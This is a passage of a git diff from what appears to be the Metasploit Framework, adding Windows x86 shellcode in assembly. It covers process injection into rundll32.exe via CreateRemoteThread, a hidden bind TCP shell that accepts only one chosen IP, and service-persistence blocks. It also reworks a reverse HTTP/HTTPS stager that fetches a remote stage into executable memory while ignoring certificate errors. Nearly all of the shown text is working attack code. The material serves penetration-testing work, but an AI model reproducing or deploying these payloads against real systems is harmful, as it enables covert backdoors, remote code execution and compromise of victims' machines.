0x646e7572 +mov ecx, esp ;"rundll32.exe" +push esi ;lpProcessInformation +push eax ;lpStartupInfo +push edi ;lpCurrentDirectory +push edi ;lpEnvironment +push 0x00000044 ;dwCreationFlags +push edi ;bInheritHandles +push edi ;lpThreadAttributes +push edi ;lpProcessAttributes +push ecx ;lpCommandLine +push edi ;lpApplicationName +push 0x863FCC79 +call ebp ;call CreatProcessA() + +mov ecx, [esi] +push 0x00000040 ;PAGE_EXECUTE_READWRITE +push 0x00001000 ;MEM_COMMIT +push 0x00001000 ;Next Shellcode Size +push edi +push ecx ;hProcess +push 0x3F9287AE ;call VirtualAllocEx() +call ebp + +call me2 +me2: +pop edx + +mov edi, eax +mov ecx, [esi] +add dword edx, 0x112247 ;pointer on the next shellcode +push esp +push 0x00001000 ;Next Shellcode Size +push edx ; +push eax ;lBaseAddress +push ecx ;hProcess +push 0xE7BDD8C5 +call ebp ;call WriteProcessMemory() + +xor eax, eax +mov ecx, [esi] +push eax ;lpThreadId +push eax ;dwCreationFlags +push eax ;lpParameter +push edi ;lpStartAddress +push eax ;dwStackSize +push eax ;lpThreadAttributes +push ecx ;hProcess +push 0x799AACC6 +call ebp ;call CreateRemoteThread() + +mov ecx, [esi] +push ecx +push 0x528796C6 +call ebp ;call CloseHandle() + +mov ecx, [esi+0x4] +push ecx +push 0x528796C6 +call ebp ;call CloseHandle() \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm new file mode 100644 index 0000000000..3b708b9c48 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_hidden_bind_tcp.asm @@ -0,0 +1,91 @@ +;-----------------------------------------------------------------------------; +; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com) +; Modified version to add Hidden ACL support: Borja Merino (bmerinofe@gmail.com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (February 2014) +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the newly connected clients socket +; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0) + +bind_tcp: + push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. + push 0x5F327377 ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call ebp ; WSAStartup( 0x0190, &WSAData ); + + push eax ; if we succeed, eax wil be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + xor ebx, ebx ; Clear EBX + push ebx ; bind to 0.0.0.0 + push 0x5C110002 ; family AF_INET and port 4444 + mov esi, esp ; save a pointer to sockaddr_in struct + push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push esi ; pointer to the sockaddr_in struct + push edi ; socket + push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + call ebp ; bind( s, &sockaddr_in, 16 ); + + ; Hidden ACL Support ---------- + + push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter + push esp ; optval: pointer to the buffer in which the value for the requested option is specified + push 0x3002 ; level at which the option is defined: SOL_SOCKET + push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT + push edi ; socket descriptor + push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" ) + call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 ); + + push ebx ; backlog + push edi ; socket + push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + call ebp ; listen( s, 0 ); + +condition: + push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function) + call wsaaccept ; push the start of the condition function on the stack + mov eax, DWORD [esp+4] ; + mov eax, DWORD [eax+4] ; + mov eax, DWORD [eax+4] ; get the client IP returned in the stack + sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed + jz return ; if equal returns CF_ACCEPT + xor eax, eax ; If not equal, the condition function returns CF_REJECT + inc eax +return: + retn 0x20 ; some stack alignment needed to return to mswsock + +wsaaccept: + push ebx ; length of the sockaddr = nul + push ebx ; struct sockaddr = nul + push edi ; socket descriptor + push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" ) + call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0) + inc eax + jz condition ; if error (eax = -1) jump to condition function to wait for another connection + dec eax + + push edi ; push the listening socket to close + xchg edi, eax ; replace the listening socket with the new connected socket for further comms + push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + call ebp ; closesocket( s ); + diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 42c717622a..20c4f643e6 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -6,6 +6,25 @@ ;-----------------------------------------------------------------------------; [BITS 32] +%ifdef ENABLE_SSL +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID +%else +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 ; INTERNET_FLAG_NO_UI +%endif + ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -16,65 +35,74 @@ load_wininet: push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) + xor ebx,ebx + internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp - jmp short dbl_get_server_host - internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags + push ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username + push ebx ; password (NULL) + push ebx ; username (NULL) push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 | ; INTERNET_FLAG_NO_UI - ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method + push ebx ; dwContext (NULL) + push HTTP_OPEN_FLAGS ; dwFlags + push ebx ; accept types + push ebx ; referrer + push ebx ; version + jmp get_server_uri ; push pointer to url +got_server_uri: + push ebx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; save hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop edi + +send_request: + +%ifdef ENABLE_SSL +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push byte 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + +%endif httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers + push ebx ; lpOptional length (0) + push ebx ; lpOptional (NULL) + push ebx ; dwHeadersLength (0) + push ebx ; lpszHeaders (NULL) push esi ; hHttpRequest push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp @@ -82,28 +110,30 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short httpsendrequest + dec edi + jnz send_request -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 +; if we didn't allocate before running out of retries, fall through to +; failure failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call got_server_uri + +server_uri: + db "/12345", 0x00 + allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push ebx ; NULL as we dont care where the allocation is push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); @@ -135,7 +165,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm deleted file mode 100644 index 28a0a04783..0000000000 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ /dev/null @@ -1,159 +0,0 @@ -;-----------------------------------------------------------------------------; -; Author: HD Moore -; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 -; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) -; Version: 1.0 -;-----------------------------------------------------------------------------; -[BITS 32] - -; Input: EBP must be the address of 'api_call'. -; Output: EDI will be the socket for the connection to the server -; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp short dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push dword 4444 ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00000200 ; INTERNET_FLAG_NO_UI - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - -set_retry: - push byte 0x10 - pop ebx - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION - mov eax, esp - push byte 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz short allocate_memory - -try_it_again: - dec ebx - jz failure - jmp short set_security_options - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 - -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - -allocate_memory: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - -download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead - -download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz failure - - mov eax, [edi] - add ebx, eax ; buffer += bytes_received - - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage - -execute_stage: - ret ; dive into the stored stage address - -get_server_host: - call internetconnect - -server_host: - diff --git a/external/source/shellcode/windows/x86/src/block/block_service.asm b/external/source/shellcode/windows/x86/src/block/block_service.asm new file mode 100644 index 0000000000..2ba827b154 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_service.asm @@ -0,0 +1,64 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +push byte 0x0 +push 0x32336970 +push 0x61766461 +push esp +push 0x726774c +call ebp ;load advapi32.dll +push 0x00454349 +push 0x56524553 +mov ecx, esp ;ServiceTableEntry.SVCNAME +lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain +push 0x00000000 +push eax +push ecx +mov eax,esp +push 0x00000000 +push eax +push 0xCB72F7FA +call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry) +push 0x00000000 +push 0x56A2B5F0 +call ebp ;call ExitProcess(0) +pop eax ;SvcCtrlHandler +pop eax +pop eax +pop eax +xor eax,eax +ret +cld ;SvcMain +call me +me: +pop ebp +sub ebp, 0xd6 ;ebp => hashFunction +push 0x00464349 +push 0x56524553 +mov ecx, esp ;SVCNAME +lea eax, [ebp+0xc9];SvcCtrlHandler +push 0x00000000 +push eax +push ecx +push 0x5244AA0B +call ebp ;RegisterServiceCtrlHandlerExA +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000004 +push 0x00000010 +mov ecx, esp +push 0x00000000 +push ecx +push eax +push 0x7D3755C6 +call ebp ;SetServiceStatus RUNNING \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/block/block_service_change_description.asm b/external/source/shellcode/windows/x86/src/block/block_service_change_description.asm new file mode 100644 index 0000000000..cdd1ba61bc --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_service_change_description.asm @@ -0,0 +1,41 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +push 0x000F003F +push 0x00000000 +push 0x00000000 +push 0x7636F067 +call ebp ;OpenSCManagerA +mov edi, eax +push 0x00464349 +push 0x56524553 +mov ecx, esp ;SVCNAME +push 0x000F01FF +push ecx +push eax +push 0x404B2856 +call ebp ;OpenServiceA +mov esi, eax +push 0x00464349 +push 0x56524553 +mov ecx, esp +push 0x00000000 +push ecx +mov ecx, esp ;SVCDESCRIPTION +push ecx +push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION +push eax +push 0xED35B087 +call ebp ;ChangeServiceConfig2A +push esi +push 0xAD77EADE ;CloseServiceHandle +call ebp +push edi +push 0xAD77EADE ;CloseServiceHandle +call ebp \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/block/block_service_stopped.asm b/external/source/shellcode/windows/x86/src/block/block_service_stopped.asm new file mode 100644 index 0000000000..10c8374c32 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_service_stopped.asm @@ -0,0 +1,45 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +call me3 +me3: +pop edi +jmp 0x7 +pop eax +pop eax +pop eax +pop eax +xor eax,eax +ret +push 0x00464349 +push 0x56524553 +mov ecx, esp ;SVCNAME +lea eax, [edi+0x3];SvcCtrlHandler +push 0x00000000 +push eax +push ecx +push 0x5244AA0B +call ebp ;RegisterServiceCtrlHandlerExA +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000000 +push 0x00000001 +push 0x00000010 +mov ecx, esp +push 0x00000000 +push ecx +push eax +push 0x7D3755C6 +call ebp ;SetServiceStatus RUNNING +push 0x0 +push 0x56a2b5f0 +call ebp ;ExitProcess \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm b/external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm new file mode 100644 index 0000000000..2c44b3dbad --- /dev/null +++ b/external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm @@ -0,0 +1,16 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 307 bytes +; Build: >build.py single_create_remote_process +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_create_remote_process.asm" \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm b/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm new file mode 100644 index 0000000000..2de5d9a021 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm @@ -0,0 +1,23 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 448 bytes +; Build: >build.py single_service_stuff +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_service.asm" +%include "./src/block/block_service_change_description.asm" +%include "./src/block/block_create_remote_process.asm" +%include "./src/block/block_service_stopped.asm" + +push edi +push 0x56A2B5F0 +call ebp ;call ExitProcess(0) diff --git a/external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm b/external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm new file mode 100644 index 0000000000..cb2a14a38a --- /dev/null +++ b/external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm @@ -0,0 +1,20 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (28 July 2009) +; Size: 341 bytes +; Build: >build.py single_shell_bind_tcp +;-----------------------------------------------------------------------------; +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. +%include "./src/block/block_hidden_bind_tcp.asm" + ; By here we will have performed the bind_tcp connection and EDI will be out socket. +%include "./src/block/block_shell.asm" + ; Finish up with the EXITFUNK. +%include "./src/block/block_exitfunk.asm" diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm index 061290001a..e73a0231ae 100644 --- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm @@ -1,19 +1,20 @@ -;-----------------------------------------------------------------------------; -; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 -; Version: 1.0 (24 July 2009) -; Size: 274 bytes -; Build: >build.py stager_reverse_tcp_nx -;-----------------------------------------------------------------------------; - -[BITS 32] -[ORG 0] - - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. -%include "./src/block/block_api.asm" -start: ; - pop ebp ; pop off the address of 'api_call' for calling later. -%include "./src/block/block_reverse_https.asm" +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Size: 274 bytes +; Build: >build.py stager_reverse_tcp_nx +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%define ENABLE_SSL 1 +%include "./src/block/block_reverse_http.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. diff --git a/external/source/vncdll/.gitignore b/external/source/vncdll/.gitignore new file mode 100644 index 0000000000..c93d5cfc27 --- /dev/null +++ b/external/source/vncdll/.gitignore @@ -0,0 +1,152 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store + diff --git a/external/source/vncdll/loader/LICENSE.txt b/external/source/vncdll/loader/LICENSE.txt deleted file mode 100644 index c952e523e3..0000000000 --- a/external/source/vncdll/loader/LICENSE.txt +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (C) 2006-2010, Rapid7 LLC -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - * Neither the name of Rapid7 LLC nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/vncdll/loader/LoadLibraryR.c 